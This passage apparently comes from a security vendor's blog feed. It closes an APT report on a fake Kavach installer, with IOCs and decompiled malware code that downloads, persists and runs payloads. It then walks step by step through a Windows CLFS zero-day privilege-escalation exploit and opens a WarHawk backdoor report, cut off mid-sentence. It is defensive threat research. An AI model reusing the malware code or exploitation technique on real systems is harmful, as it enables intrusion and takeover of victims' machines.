clicking on links on Google search results and always verify that they are indeed visiting the official website. We continue to closely monitor the latest developments of this APT group and ensure to protect our customers against these threats. Indicators of compromise Limepad C2 domains ncloudup[.]com gcloudsvc[.]com Credential harvesting sites nic-updates[.]in
 kavachmail-govin[.]rf[.]gd Attacker-registered domains spoofing Kavach site kavach-app[.]com
 kavachdownload[.]in kavachauthentication.blogspot[.]com Post-infection IOCs 139.59.79[.]86
139.59.79[.]86/ 139.59.79[.]86/C2L!Dem0&PeN/A@llPack3Ts/Cert.php
 wzxdao[.]com/ Decoy file URLs hxxp://139.59.23[.]88/confirmation_id.pdf hxxps://ncloudup[.]com/trendmic/details.pdf hxxp://wzxdao[.]com/resultupdate.jpg http://139.59.79[.]86/Pictures.jpg File hashes File MD5 hash Filename 123b180ed44531bfbac27c6eb0bbe01d Update Portal.vhdx 3817590cf8bec4a768bb84405590272f Student online update.exe 0ed6451ffe34217e44355706f4900ecc NvidiaUpdate (2).scr 94daa776792429d1cb65edc1d525e2fc Student detail.vhdx c195d6bb06c93b94d39e5c1a2dfc6792 Confirmation_ID.vhdx 889c5c98e88c4889220617f57f5480f7 details.exe ac3f2c8563846134bb42cb050813eac8 Confirmation_ID.exe Appendix Limepad config file import os, logging from regulator import FileMatcher as r import sys QUERY = [] USERHOME = os.path.join(os.environ['HOMEDRIVE'], os.environ['HOMEPATH']) class FILEFLAG: QUEUED, SYNCING, SYNCED, IGNORED = range(4) VERSION = '0.1-$Revision: 18 $' VERSION = VERSION.replace('$', '').replace('Revision: ', '').strip() STARTDATA = os.path.join(os.environ['APPDATA'], 'Microsoft\\Windows\\Start Menu\\Programs\\Startup\\Limepad') ROOTDATA = os.path.join(os.environ['APPDATA'], 'Limepad') USERFILE = 'Limepad.db' USERFILE = os.path.join(ROOTDATA, USERFILE) LOGFILE = 'Limepad.log' LOGFILE = os.path.join(os.environ['APPDATA'], LOGFILE) TEMP_UPLOAD_FOLDER = os.path.join(ROOTDATA, 'tup') LOCKDOORS = 'URL=file:///' + sys.executable DOORS = ['.dll', '.url'] SERVERS = [<server_address>] DUSSEN = '696E646961' SERVER_PUBKEY = '' DBTABLES = {'file': [('path', 'VARCHAR'), ('filename', 'VARCHAR'), ('size', 'INT'), ('state', 'INT'), ('modified', 'REAL'), ('created', 'REAL'), ('queuepriority', 'INT'), ('defertill', 'INT DEFAULT 0'), ('rpath', 'VARCHAR DEFAULT NULL')], 'syncdirs': [ ('path', 'VARCHAR'), ('rule', 'VARCHAR')], 'config': [ ('key', 'VARCHAR'), ('value', 'VARCHAR')]} DBTABLES_INDEXES = {'file': ('queuepriority', 'unique: path, filename'), 'config': ('unique: key', )} SYNC_RULES_CONFIG = {'HOME': r(" '*.pdf' or '*.txt' or '*.doc*' or '*.xls*' or '*.ppt*' or '*.mdb*' or '*.dwg' or '*.dxf' or '*.dbx' "), 'FIXED': r(" '*.pdf' or '*.doc*' or '*.xls*' or '*.ppt*' or '*.mdb*' or '*.dwg' or '*.dbx' "), 'REMOVABLE': r(" size < 5 mb if ('*.jpg' or '*.jpeg' or '*.avi') else (size < 100 mb and ('*.pdf' or '*.txt' or '*.doc*' or '*.xls*' or '*.ppt*' or '*.mdb*' or '*.dwg' or '*.dxf'))")} OPTIMIZED_SEND_BLOCKSIZE = 256000 LOG_LEVEL = logging.WARN logging.basicConfig(filename=LOGFILE, level=LOG_LEVEL) if __name__ == '__main__': print globals() Kavach fake installer - Python decompiled code import os from win32com.client import Dispatch import platform import time #from tzlocal import get_localzone import sys from os.path import exists as file_exists import urllib import time from time import sleep import zipfile #import win32com.client as win32 import win32com as win32 import subprocess def is_os_64bit(): return platform.machine().endswith('64') def append_me(text): with open("c:\programdata\WUDFHost\logs.txt", "a") as myfile: myfile.write(text) def write_me(text): if file_exists("c:\programdata\WUDFHost\logs.txt") is True: print('bab') pass else: print('damn') with open("c:\programdata\WUDFHost\logs.txt", "w") as myfile: myfile.write(text) def create_dir(text): if os.path.exists(text) is False: os.mkdir(text) def download_us(url,path): if os.path.exists(path) is False: urllib.urlretrieve(url,path) else: print("skipping") append_me("skipping") def define_me(text): try: if os.path.exists(text) is True: print("zip file exists") append_me("zip file exists") with zipfile.ZipFile(text, 'r') as zip_ref: zip_ref.extractall("c:\\programdata\\WUDFHost") else: print("not find extracted file") append_me("not find extracted file") except Exception as e: print("already running file") def deaf(): try: if os.path.exists("C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319") is True: download_us("http://<REDACTED>/","c:\\programdata\") define_me("c:\\programdata\\") pass else: download_us("http://<REDACTED>/","c:\\programdata\") define_me("c:\\programdata\\") pass except Exception as e: print("excption in deaf") def openWorkbook(xlapp, xlfile): try: xlwb = xlapp.Workbooks(xlfile) #xlwb.Close(True) except Exception as e: try: xlwb = xlapp.Workbooks.Open(xlfile) #xlwb.Close(True) except Exception as e: print(e) xlwb = None return(xlwb) def define_me_replica(text): try: if os.path.exists(text) is True: print("zip file exists") append_me("zip file exists") username = os.environ['USERNAME'] print(username) with zipfile.ZipFile(text, 'r') as zip_ref: zip_ref.extractall("c:\\users\\"+username+"\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") else: print("not find extracted file") append_me("not find extracted file") except Exception as e: print("already running file") def def_frames(): try: if os.path.exists("C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319") is True: download_us("http://<REDACTED>/","c:\\programdata\\") define_me_replica("c:\\programdata\\") pass else: download_us("http://<REDACTED>/","c:\\programdata\\") define_me_replica("c:\\programdata\\") pass except Exception as e: pass def patience_limit(): try: if os.path.exists("C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319") is True: subprocess.Popen(["c:\\programdata\\WUDFHost\\WUDFAgent.exe"]) pass else: subprocess.Popen(["c:\\programdata\\WUDFHost\\WUDFAgent.exe"]) pass except Exception as e: pass if __name__ == '__main__': try: create_dir("c:\programdata\WUDFHost") write_me("Starter\n") #list_folders = [] #list_files = [] #lines = '' username = os.environ['USERNAME'] #for root, dirs,files in os.walk('c:\\users\\'+username+'\\appdata',topdown=False): # for name in files: # print(os.path.join(root,name)) # list_folders.append(os.path.join(root,name)) # for name in dirs: # print(os.path.join(root,name)) # list_files.append(os.path.join(root,name)) print("Directory Created") if '.py' not in sys.argv[0]: #create_dir("c:\programdata\WUDFHost") print("Directory Created") #write_me("Starter") print("Log File Created") tzname = time.tzname #local_tz = get_localzone() print("Got the TimeZone") append_me("Got the TimeZone : "+str(tzname) + "\n") if "sri lanka" in str(tzname).lower() or "india" in str(tzname).lower(): print("Correctly Identified TimeZone") if os.path.exists("c:\\Program Files\\Microsoft Office\\Office15") is True or os.path.exists("c:\\Program Files\\Microsoft Office\\Office16") is True: print("Office is 2010 or 2016") append_me("Office is 2010 or 2016\n") if is_os_64bit(): print("Machine is x64") append_me("Machine is x64\n") append_me("File Downloading Started\n") print("File Downloading Started") ##def_frames() append_me("All Files Downloaded\n") print("All Files Downloaded") deaf() print("Files Extracted") append_me("Files Extracted\n") print("Going for always") append_me("going for always") else: print("Machine is x86") append_me("Machine is x86\n") ##def_frames() append_me("All Files Downloaded\n") print("All Files Downloaded") print("Going for always") append_me("going for always") deaf() print("Files Extracted") append_me("Files Extracted\n") else: print("Other than Office 16 or Office 13") append_me("Other than Office 16 or Office 13\n") ##def_frames() append_me("All Files Downloaded\n") print("All Files Downloaded") deaf() print("Going for always") append_me("going for always") print("Files Extracted") append_me("Files Extracted\n") list_folders = [] list_files = [] for root, dirs,files in os.walk('c:\\users\\'+username+'\\appdata',topdown=False): for name in files: print(os.path.join(root,name)) list_folders.append(os.path.join(root,name)) for name in dirs: print(os.path.join(root,name)) list_files.append(os.path.join(root,name)) patience_limit() else: print("Not the time Zone You want to run") append_me("Not the time Zone You want to run\n") else: print("Find my self in .py directory") append_me("Find my self in .py directory\n") except Exception as e: #append_me(str(e)) print(str(e)) append_me(str(e)+"\n") Thu, 03 11月 2022 08:00:02 -0700 Sudeep Singh Technical Analysis of Windows CLFS Zero-Day Vulnerability CVE-2022-37969 - Part 2: Exploit Analysis In Part 1 of this blog series, we analyzed the root cause for CVE-2022-37969. In this blog, we will present an in-the-wild exploit that was discovered by Zscaler ThreatLabz that successfully leveraged CVE-2022-37969 for privilege escalation on Windows 10 and Windows 11. Debugging Environment The analysis and debugging for the exploitation was conducted in the following environment. Windows 11 21H2 version 22000.918 CLFS.sys 10.0.22000.918 Windows 10 21H2 version 19044.1949 CLFS.sys 10.0.19041.1865 Prerequisite Before starting to analyze the exploitation of CVE-2022-37969, we’d like to introduce some key structures in the kernel related to this exploit. The _EPROCESS structure is an opaque structure that represents the process object for a process in the kernel. In other words, each process running on Windows has its corresponding _EPROCESS object somewhere in the kernel. Figure 1 shows the layout of the _EPROCESS structure in the kernel for Windows 11. This layout might change significantly between Windows versions. Figure 1. The _EPROCESS structure on Windows 11 The Token field is stored at offset 0x4B8 in the _EPROCESS structure. The _EPROCESS.Token points to an _EX_FAST_REF structure rather than a _TOKEN structure. Based on the layout of the _EX_FAST_REF structure, its three fields (Object, RefCnt, Value) have the same offset, the last 4 digits of the _EX_FAST_REF object represents the RefCnt field that denotes the reference to this token. Therefore, we can zero the last 4 digits out and get the actual address of the _TOKEN structure. The _TOKEN structure is a kernel structure that describes the security context of a process and contains information such as the token id, token privileges, session id, token type, logon session, etc. Figure 2 shows the structure layout of the _TOKEN structure in the kernel. Figure 2. The _Token structure on Windows 11 In general, manipulating the _Token object can be used to execute privilege escalation in the kernel. Two general techniques are involved, one is token replacement which means that a low-privileged token associated with a process is replaced with a high-privileged token associated with another process. The second technique is token privilege adjustment which means that more privileges are added and enabled to an existing token. The exploit captured by ThreatLabz for CVE-2022-37969 leveraged the token replacement technique. In user space, a user can use the CreatePipe function to create an anonymous pipe, which returns handles to the read and write ends of the created pipe. BOOL CreatePipe( [out] PHANDLE hReadPipe, [out] PHANDLE hWritePipe, [in, optional] LPSECURITY_ATTRIBUTES lpPipeAttributes, [in] DWORD nSize ); The user is able to add attributes to the pipe. The attributes are a key-value pair and stored in a linked list. The PipeAttribute structure is the representation of the attributes in kernel space, which is allocated in the PagedPool. The PipeAttribute structure is defined below. struct PipeAttribute { LIST_ENTRY list ; char * AttributeName; uint64_t AttributeValueSize; char * AttributeValue; char data [0]; }; typedef struct _LIST_ENTRY { struct _LIST_ENTRY *Flink; struct _LIST_ENTRY *Blink; } LIST_ENTRY, *PLIST_ENTRY, PRLIST_ENTRY; The memory layout of the PipeAttribute structure is illustrated in Figure 3. Figure 3. PipeAttribute structure A pipe attribute can be created on a pipe using the NtFsControlFile API, where the 6th parameter FsControlCode is set to 0x11003C. The attribute value can be read using the NtFsControlFile API, where the 6th parameter FsControlCode is set to 0x110038. The _ETHREAD structure is an opaque structure that represents the thread object for a thread in the kernel. Figure 4 shows the layout of the _ETHREAD structure. The PreviousMode field is located at offset 0x232 in the _ETHREAD structure. Figure 4. The _ETHREAD structure Regarding the PreviousMode, Microsoft’s documentation states “When a user-mode application calls the Nt or Zw version of a native system services routine, the system call mechanism traps the calling thread to kernel mode. To indicate that the parameter values originated in user mode, the trap handler for the system call sets the PreviousMode field in the thread object of the caller to UserMode.” We take the NtWriteVirtualMemory function as an example. Figure 5 shows the implementation of the NtWriteVirtualMemory function. When PreviousMode is set to 1 (UserMode) the call of the NT or Zw version function comes from user space, where it conducts address validation. In this case, an arbitrary write across the whole kernel memory will fail. On the contrary, when PreviousMode is set to 0 (KernelMode), the address validation is skipped and the arbitrary kernel memory address can be written. The exploit targeting Windows 10 for CVE-2022-37969 leverages PreviousMode to implement an arbitrary write primitive. Figure 5. The implementation of the NtWriteVirtualMemory function Exploitation on Windows 11 In the previous section, we introduced the key structures that will be involved in the process of exploitation. Let’s deep dive into the sample of the exploit. The exploit involves the following steps. 0x01 Check Windows OS version The exploit first checks if the Windows operating system (OS) version running the sample is supported. Figure 6 shows the pseudo-code snippet for checking the Windows OS version. Figure 6. The pseudo-code snippet checking the Windows OS version Figure 7 demonstrates a Windows OS Build Number that consists of the OS build number and UBR. Figure 7. Windows OS Build Number The exploit first obtains the _PEB object via NtCurrentTeb()->ProcessEnvironmentBlock, then gets the OS Build Number from the OSBuildNumber field at offset 0x120 in the _PEB structure. The UBR can be obtained via querying the value of UBR in the registry key HKEY_LOCAL_MACHINE\Software\\Microsoft\Windows NT\CurrentVersion. Once the exploit confirms that the targeting Windows is supported, the code stores the offset of the Token field for the _EPROCESS structure in a global variable. In our debugging environment for Windows 11 (21H2) 10.0.22000.918, the offset was equal to 0x4B8. Based on the code in Figure 6, we summarize the supported Windows OS version in Figure 8. Figure 8. The supported Windows OS version (before patching) Zsclaer’s ThreatLabz verified the exploit in the following versions, where a local privilege escalation can be performed successfully. Other vulnerable Windows OS versions in Figure 8 have not been verified by ThreatLabz at the time of publication. Windows 10 21H2 version 19044.1949, Windows 10 Enterprise Windows 10 20H2 version 19042.1949, Windows 10 Enterprise Windows 11 21H2 version 22000.918, Windows 11 Pro x64 0x02 Retrieve _EPROCESS and _TOKEN Next, the exploit obtains the key data structures _EPROCESS and _TOKEN for the current process and the System process (always PID 4) owning the SYSTEM privilege via calling the NtQuerySystemInformation API with the appropriate parameters. The NtQuerySystemInformation API is used to retrieve the specified system information based on the first parameter, with the declaration shown below. __kernel_entry NTSTATUS NtQuerySystemInformation( [in] SYSTEM_INFORMATION_CLASS SystemInformationClass, [in, out] PVOID SystemInformation, [in] ULONG SystemInformationLength, [out, optional] PULONG ReturnLength ); Figure 9 shows the pseudo-code snippet to obtain the corresponding address of the _EPROCESS and _TOKEN objects for the current process and the System process. Figure 9. The pseudo-code snippet to obtain the corresponding address of the _EPROCESS and _TOKEN objects This function is described as follows: 1. Obtain the function address of the NtQuerySystemInformation API. 2. Call the NtQuerySystemInformation API, where the first parameter is set with SystemExtendedHandleInformation (0x40). If the function returns an NTSTATUS success, the retrieved information is stored at the second parameter SystemInformation, which is a pointer to the SYSTEM_HANDLE_INFORMATION_EX structure whose memory layout is illustrated in Figure 10. Next, the code locates the _EPROCESS object associated with the current process. Finally, the address of the _EPROCESS object is stored in a global variable. Figure 10. The memory layout of the SYSTEM_HANDLE_INFORMATION_EX structure 3. Call the NtQuerySystemInformation API again, where the first parameter is set with SystemExtendedHandleInformation (0x40). If the function returns an NTSTATUS success, the code locates the _EPROCESS object associated with the System process (PID 4). Finally, the address of the System _EPROCESS object is stored in a global variable. 4. Obtain the address of the Token field for the _EPROCESS object representing the current process and the address of the Token field of the _EPROCESS object representing the System process. Both addresses are stored in corresponding global variables. The exploit also stores some key data structures in global variables. We summarize these global variables and what they represent in Figure 11. Figure 11. The key global variables in the exploit 0x03 Check access token The exploit calls the OpenProcessToken function to open the access token associated with the current process. A pointer to a handle that identifies the newly opened access token is stored at the third parameter when the OpenProcessToken function returns. Then, the exploit calls the NtQuerySystemInformation API, where the first parameter is set with SystemHandleInformation (0x10). If it returns an NTSTATUS success, it checks if the handle that identifies the newly opened access token exists in the system handle list. Figure 12 shows the pseudo-code snippet for checking the access token. Figure 12. The pseudo-code snippet for checking the access token 0x04 Obtain the constant offset between the two bigpools representing the Base Block As shown in Figure 9 in Part 1, the Proof-of-Concept code for CVE-2022-37969 first creates a base log file MyLog.blf via the CreateLogFile API. Then the code creates dozens of base log files named MyLog_xxx.blf, where Zscaler ThreatLabz’s PoC uses a constant count. The exploit code uses the following advanced technique to ensure the offset between the two subsequently created bigpools representing the Base Block constant. Figure 13 shows the code snippet to obtain the constant value between two adjacent bigpools representing the Base Block. Figure 13. The code snippet to obtain the constant value between two adjacent bigpools representing the Base Block After every new base file named MyLog_xxx.blf is created, the code calls the ZwQuerySystemInformation API, where the first parameter is set with SystemBigPoolInformation(0x42). If the function returns an NTSTATUS success, the retrieved information is stored at the second parameter SystemInformation, which is a pointer to the SYSTEM_BIGPOOL_ENTRY structure that holds all bigpool memory at runtime. Then it locates the bigpool representing the Base Block of a base log file, where the size of the bigpool must be 0x7a00, and the tag name of the bigpool is “Clfs”. The address of the bigpool is stored in a local array. Next, in a loop, the code checks if the offset between the base block of the N-th BLF and the base block of the N+1-th BLF is constant. The code will jump out of the loop until the offset is constant. In our debugging environment, the constant value is 0x11000. The constant value plus 0x14B is set to the cbSymbolZone field in the Base Record Header. 0x05 Craft the base log file Part 1 of this blog series describes the process of crafting the base log file in detail. Before crafting the base log file, the exploit code performs heap spraying to set up the controlled memory. Figure 14 shows the process of heap spraying. Figure 14. Perform heap spraying to set up memory Figure 15 shows the memory layout after performing heap spraying. Figure 15. The memory layout after performing heap spraying 0x06 Module-gadget performing arbitrary write primitive Figure 16 shows the code snippet for performing an arbitrary write on the PipeAttribute object. Figure 16. The code snippet for performing an arbitrary write on the PipeAttribute object This code snippet is described as follows: 1. Call the CreatePipe function to create an anonymous pipe, and add a pipe attribute on the pipe using the NtFsControlFile API, where the 6th parameter FsControlCode is set to 0x11003C. Then the code calls the ZwQuerySystemInformation API, where the first parameter is set with SystemBigPoolInformation(0x42). After the function returns an NTSTATUS success, the retrieved information is a pointer to the SYSTEM_BIGPOOL_ENTRY structure that holds all bigpool memory at runtime. Finally, the exploit locates the bigpool representing the newly created PipeAttribute object. The variable v30 stores the kernel address of this PipeAttribute object. Figure 17 shows the memory layout of this created PipeAttribute object in the kernel. Figure 17. The memory layout of this created PipeAttribute object in the Windows kernel 2. The global variable qword_1400A8108 stores the kernel address of the _EPROCESS object for the System (PID 4) process. Then the exploit performs heap spraying shown in Figure 18. The address of the AttributeValueSize field in the PipeAttribute object is set at offset N*8+8 in the memory region (0x10000 ~ 0x1010000). The result of addr_EPROCESS_System & 0xfffffffffffff000 is written at offset 0xFFFFFFFF, and 0x414141414141005A is written at offset 0x100000007. Figure 18. CVE-2022-37969 exploit performs heap spraying 3. Arrange the memory region (0x5000000~0x5100000), where the address of the ClfsEarlierLsn function is stored at 0x5000008, and the address of the SeSetAccessStateGenericMapping function is stored at 0x5000018 (see Figure 19). Figure 19. The memory region(0x5000000~0x5100000) 4. Trigger the CLFS vulnerability. The CClfsBaseFilePersisted::RemoveContainer function will be hit. Figure 20 shows the location of dereferencing a corrupted pointer to a fake CClfsContainer object in CLFS.sys. The data that the address being dereferenced points to can be controlled and manipulated by heap spraying in user space. Figure 20. Dereference the corrupted point to the CClfsContainer object The fake vftable in the fake CClfsContainer object points to 0x5000000, where the address of the ClfsEarlierLsn function is stored at 0x5000008, and the address of the SeSetAccessStateGenericMapping function is stored at 0x0x5000018. The subsequent code will call the ClfsEarlierLsn function and the nt!SeSetAccessStateGenericMapping function successively. After the ClfsEarlierLsn function returns, the register RDX is equal to 0xFFFFFFFF. Figure 21 shows what the SeSetAccessStateGenericMapping function does and how to perform an arbitrary write. Figure 21. Perform an arbitrary write on the PipeAttribute object At the end of the SeSetAccessStateGenericMapping function, the AttributeValue field in the PipeAttribute object has been overwritten with addr_EPROCESS_System & 0xfffffffffffff000. The addr_EPROCESS_System represents the address of the _EPROCESS object for the System process (PID 4). 5. Read the pipe attribute on a pipe using the NtFsControlFile API, where the 6th parameter FsControlCode is set to 0x110038. This obtains the pipe attribute from the address that the overwritten AttributeValue field points to and copies the kernel data into a heap buffer in user space. The overwritten AttributeValue field points to the address addr_EPROCESS_System & 0xfffffffffffff000. Then, the code obtains the Token field in the _EPROCESS object for the System (PID 4) process based on the offset of the Token field. Finally, the value of the Token field for the System process (PID 4) is stored in a global variable qword_1400A8128. Figure 22. Store the value of the Token field for the System process (PID 4) 0x07 Token replacement Figure 23 shows the code snippet for performing token replacement on Windows 11. Figure 23. The code snippet for performing token replacement In order to complete the token replacement, the exploit triggers the CLFS vulnerability for the second time and performs the following actions. 1. Arrange the memory via heap spraying. The resulting address of the Token field for the current process minus 8 is set up at offset N*8+8 in the memory region (0x10000 ~ 0x1010000). The value of the Token field in the _EPROCESS object for the System process (PID 4) is written at offset 0xFFFFFFFF as shown in Figure 24. Figure 24. Arrange the memory via heap spraying 2. Trigger the CLFS vulnerability to complete token replacement. The CClfsBaseFilePersisted::RemoveContainer function will be hit. Figure 25 shows the location of dereferencing a corrupted pointer to a fake CClfsContainer object in CLFS.sys. The data that the address being dereferenced points to can be controlled and manipulated by heap spraying in user space. Figure 25. Dereference the corrupted point to the CClfsContainer object Again, the subsequent code will call the ClfsEarlierLsn function and the nt!SeSetAccessStateGenericMapping function successively. After the ClfsEarlierLsn function returns, the register RDX is equal to 0xFFFFFFFF. Figure 26 shows what the SeSetAccessStateGenericMapping function does and how to perform an arbitrary write. Figure 26. Perform an arbitrary write primitive to complete token replacement At the end of the SeSetAccessStateGenericMapping function, the token replacement has been completed in Figure 27. The Token for the current process has been replaced with the Token for the System process (PID 4). This means that the current process has successfully elevated privileges to SYSTEM. Figure 27. Gain the SYSTEM privilege successfully. 3. Spawn a command prompt (cmd.exe) with the newly obtained SYSTEM privilege. Figure 28 shows that the exploit spawns cmd.exe with the SYSTEM privilege. Figure 28. Spawn a cmd with SYSTEM privilege We have summarized the flow of the exploitation targeting Windows 11 in Figure 29. Figure 29. The flow of the exploitation targeting Windows 11 Further, the process of performing an arbitrary write on a PipeAttribute object and token replacement is demonstrated in Figure 30. Figure 30. The process of performing arbitrary write on a PipeAttribute object and token replacement on Windows 11 Exploitation on Windows 10 We broke down the process of exploitation targeting Windows 11 into 7 steps. For Windows 10, the process of exploitation is still classified into 7 steps, Steps 1-5 are the same as Windows 11. Performing an arbitrary write primitive and token replacement are different from the steps in Windows 11. Figure 31 shows the code snippet to perform an arbitrary write and token replacement on Windows 10. Figure 31. Perform arbitrary write primitive and token replacement on Windows 10 Performing an arbitrary write primitive and token replacement for Windows 10 involves the following steps. 1. Perform heap spraying to set up the memory, where 0x0018000000000800 is written at offset 0xFFFFFFFF, and 0x000F000000000000 is written at offset 0x100000007. Figure 32 shows the memory around 0xFFFFFFFF. Figure 32. Arrange the memory region (0xFFFFFFFF ~ 0x10000000E) In addition, Figure 33 shows the layout of the memory region (0x10000~0x1010000). The PreviousMode field is located at offset 0x232 in the _ETHREAD structure. The value (addr_of_PreviousMode - 8) is set up at offset N*8+8 in the memory region starting at 0x10000. Figure 33. The layout of the memory region (0x10000~0x1010000) 2. Arrange the memory region (0x5000000~0x5100000), where the address of the ClfsEarlierLsn function is stored at 0x5000008, and the address of the SeSetAccessStateGenericMapping function is stored at 0x0x5000018 (see Figure 34). Figure 34. The memory region (0x5000000~0x5100000) 3. Trigger the CLFS vulnerability. The CClfsBaseFilePersisted::RemoveContainer function will be hit. Figure 35 shows the location of dereferencing a corrupted pointer to a fake CClfsContainer object in CLFS.sys. The data that the address being dereferenced points to can be controlled and manipulated by heap spraying in user space. Figure 35. Dereference the corrupted pointer to the CClfsContainer object The fake vftable in the fake CClfsContainer object points to 0x5000000, where the address of the ClfsEarlierLsn function is stored at 0x5000008, and the address of the SeSetAccessStateGenericMapping function is stored at 0x0x5000018. The subsequent code will call the ClfsEarlierLsn function and the nt!SeSetAccessStateGenericMapping function successively. After the ClfsEarlierLsn function returns, the register RDX is equal to 0xFFFFFFFF. Figure 36 shows what the SeSetAccessStateGenericMapping function does and how to perform an arbitrary write. Figure 36. Perform an arbitrary write on PreviousMode on Windows 10 At the end of the SeSetAccessStateGenericMapping function, the PreviousMode in the _ETHREAD object is set to 0, which means that it allows an unconstrained read/write operation across the whole kernel memory using NtReadVirtualMemory and NtWriteVirtualMemory. This is a powerful method to enable the read/write. At this point, the exploit is ready to perform an arbitrary write. 4. Call the NtWriteVirtualMemory function to overwrite the buffer pointed by a local pointer variable with the value of the Token field in _EPROCESS for System (PID 4). Next, the code calls the NtWriteVirtualMemory function again to overwrite the Token field in _EPROCESS for the current process with the data (the value of the Token field in _EPROCESS for System), which is stored in the buffer pointed by this local pointer variable, which completes the token replacement. Figure 37 demonstrates that the Token field in _EPROCESS for the current process has been replaced with the Token field in _EPROCESS for the process System (PID 4). Figure 37. Token replacement on Windows 10 5. Call the NtWriteVirtualMemory to overwrite the PreviousMode field in the _ETHREAD object in order to complete PreviousMode restoration, which can prevent the newly launched process with the SYSTEM privilege from crashing. 6. Spawn a command prompt (cme.exe) with the SYSTEM privilege as shown in Figure 38. Figure 38. Spawn a cmd with the SYSTEM privilege on Windows 10 In the end, the process of performing arbitrary write on PreviousMode and token replacement on Windows 10 is demonstrated in Figure 39. Figure 39. The process of performing arbitrary write on PreviousMode and token replacement on Windows 10 Generic Exploitation Compatible with Windows 10 and Windows 11 ThreatLabz tested the exploit code targeting Windows 10 on Windows 11 via patching the binary of the exploit. After the CLFS vulnerability is triggered, the _EThread.PreviousMode is overwritten with 0, which leads to the following crash in Figure 40. Figure 40. A crash occurs after _EThread.PreviousMode is set to 0 on Windows 11 As shown in Figure 36, the exploit code overwrites PreviousMode via calling SeSetAccessStateGenericMapping, which can lead to a corrupted AffinityFill field and produce a crash on Windows 11. Figure 41 shows the offsets of PreviousMode and AffinityFill in the _EThread structure. Figure 41. The offsets of PreviousMode and AffinityFill in the _EThread structure Let’s assume that only PreviousMode (1 byte) is overwritten to 0 via a newly specified gadget. We select nt!RtlClearBit as this specified gadget. We can rearrange the memory region (0x5000000~0x5100000), where the address of the nt!RtlClearBit function is stored at 0x5000018, and the address of the CLFS!ClfsEarlierLsn function is stored at 0x0x5000008 (see Figure 42). In addition, we need to rearrange the memory region (0x10000~0x1010000). The address of the PreviousMode in the _ETHREAD object is set up at offset N*8+8 in the memory region starting at 0x10000. Figure 42. Trigger this CLFS vulnerability First the nt!RtlClearBit function is called. Figure 43 demonstrates how PreviousMode is overwritten. The BTR instruction stores the selected bit in the CF flag and clears the selected bit in the bit string to 0, where the EDX register is equal to 0. This results in PreviousMode being set to 0. We can see that at the end of the nt!RtlClearBit function only the PreviousMode field is overwritten and other subsequent bytes are not overwritten. Figure 43. PreviousMode is set to 0 via calling nt!RtlClearBit Then, the ClfsEarlierLsn function is called in the CLFS!CClfsBaseFilePersisted::RemoveContainer function. Thus, we can leverage another group of gadgets (nt!RtlClearBit and CLFS!ClfsEarlierLsn) to perform an arbitrary write on PreviousMode, which works well on Windows 11. The exploit code targeting Windows 10 will also work on Windows 11 by replacing the old gadgets with the new gadgets (nt!RtlClearBit and CLFS!ClfsEarlierLsn). As a result, leveraging the gadgets (nt!RtlClearBit and CLFS!ClfsEarlierLsn) can simplify the workflow of exploitation on Windows 11, where this CLFS vulnerability is only triggered once. Summary In this blog, we analyzed the process to exploit CVE-2022-37969 on Windows 10 and Windows 11. For Windows 11, the exploit first triggers the CLFS vulnerability to perform an arbitrary write for the PipeAttribute object. Then the exploit triggers the CLFS vulnerability a second time to perform token replacement. For Windows 10, the exploit only needs to trigger the CLFS vulnerability once and leverages the PreviousMode technique to implement an arbitrary write primitive, and then completes the token replacement by calling the NtWriteVirtualMemory function. Moreover, we also verified the PreviousMode technique still works on Windows 11. We demonstrated another group of gadgets (nt!RtlClearBit and CLFS!ClfsEarlierLsn) that can be leveraged to perform an arbitrary write for the PreviousMode. Thus, a generic exploit compatible with Windows 10 and 11 can leverage nt!RtlClearBit to perform an arbitrary write on PreviousMode, and then complete the token replacement by calling the NtWriteVirtualMemory function. Acknowledgments Special thanks to the Zscaler ThreatLabz team's Nirmal Singh for capturing this 0-day exploit sample and performing the initial analysis! Mitigation All users of Windows are encouraged to upgrade to the latest version. Zscaler’s Advanced Threat Protection and Advanced Cloud Sandbox can protect customers against the in-the-wild 0-day exploit of CVE-2022-37969. Win32.GenExploit.LogFile Win32.Exploit.CVE-2022-37969 Cloud Sandbox Detection References Fri, 28 10月 2022 08:00:02 -0700 Kai Lu WarHawk: the New Backdoor in the Arsenal of the SideWinder APT Group Recently, Zscaler ThreatLabz discovered a new malware being used by the SideWinder APT threat group in campaigns targeting Pakistan: a backdoor we’ve called “WarHawk.” SideWinder APT, aka Rattlesnake or T-APT4, is a suspected Indian Threat Actor Group active since at least 2012, with a history of targeting government, military, and businesses throughout Asia, particularly Pakistan. The newly discovered WarHawk backdoor contains various malicious modules that deliver Cobalt Strike, incorporating new TTPs such as KernelCallBackTable Injection and Pakistan Standard Time zone check in order to ensure a victorious campaign. Zscaler’s ThreatLabz research team has performed an in-depth analysis of the WarHawk backdoor and its use in threat campaigns below. Key Features of this Attack SideWinder APT campaign targets Pakistan with a new backdoor named “WarHawk” The WarHawk Backdoor consists of four modules: Download & Execute Module Command Execution Module File Manager InfoExfil Module UploadFromC2 Module WarHawk is commissioned to deliver Cobalt Strike as the final payload which has been downloaded and executed using the Download & Execute Module. The custom Cobalt Strike loader used by the SideWinder APT leverages the KernelCallBackTable Process injection (a technique previously used by FinFisher and Lazarus APT) to load the Cobalt Strike beacon, along with a Time Zone check that makes sure that the loader is executed only when under Pakistan Standard Time. The SideWinder APT makes use of ISO Files bundled with a LNK file, a decoy PDF displaying copies of cybersecurity advisories released by the Pakistan Cabinet Division (used as a lure), and the WarHawk backdoor which is executed by the LNK File. We discovered the ISO file hosted on the legitimate website of Pakistan's National Electric Power Regulatory Authority “nepra[.]org[.]pk” which may indicate a compromise of their web server. We were able to attribute this campaign to the SideWinder APT based on the reuse of network infrastructure that has previously been used by SideWinder for various espionage activities against Pakistan. Campaign Analysis In the month of September 2022, we came across an ISO File “32-Advisory-No-32.iso” hosted on the official website of the Pakistan’s National Electric Power Regulatory Authority “nepra[.]org[.]pk.” NEPRA is commissioned to provide safe, reliable, efficient and affordable electric power to the electricity consumers of Pakistan. It is possible that this ISO file was uploaded to the server due to web server compromise. ISO URL: https[:]//nepra[.]org[.]pk/css/32-Advisory-No-32[.]iso Fig 1. National Electric Power Regulatory Authority Website We then downloaded the ISO File from the above mentioned URL which consisted of the following bundled files. 32-Advisory-No-32-2022.lnk - Malicious LNK File 32-Advisory-No-32-2022.pdf - Decoy PDF RtlAudioDriver.exe - Malicious 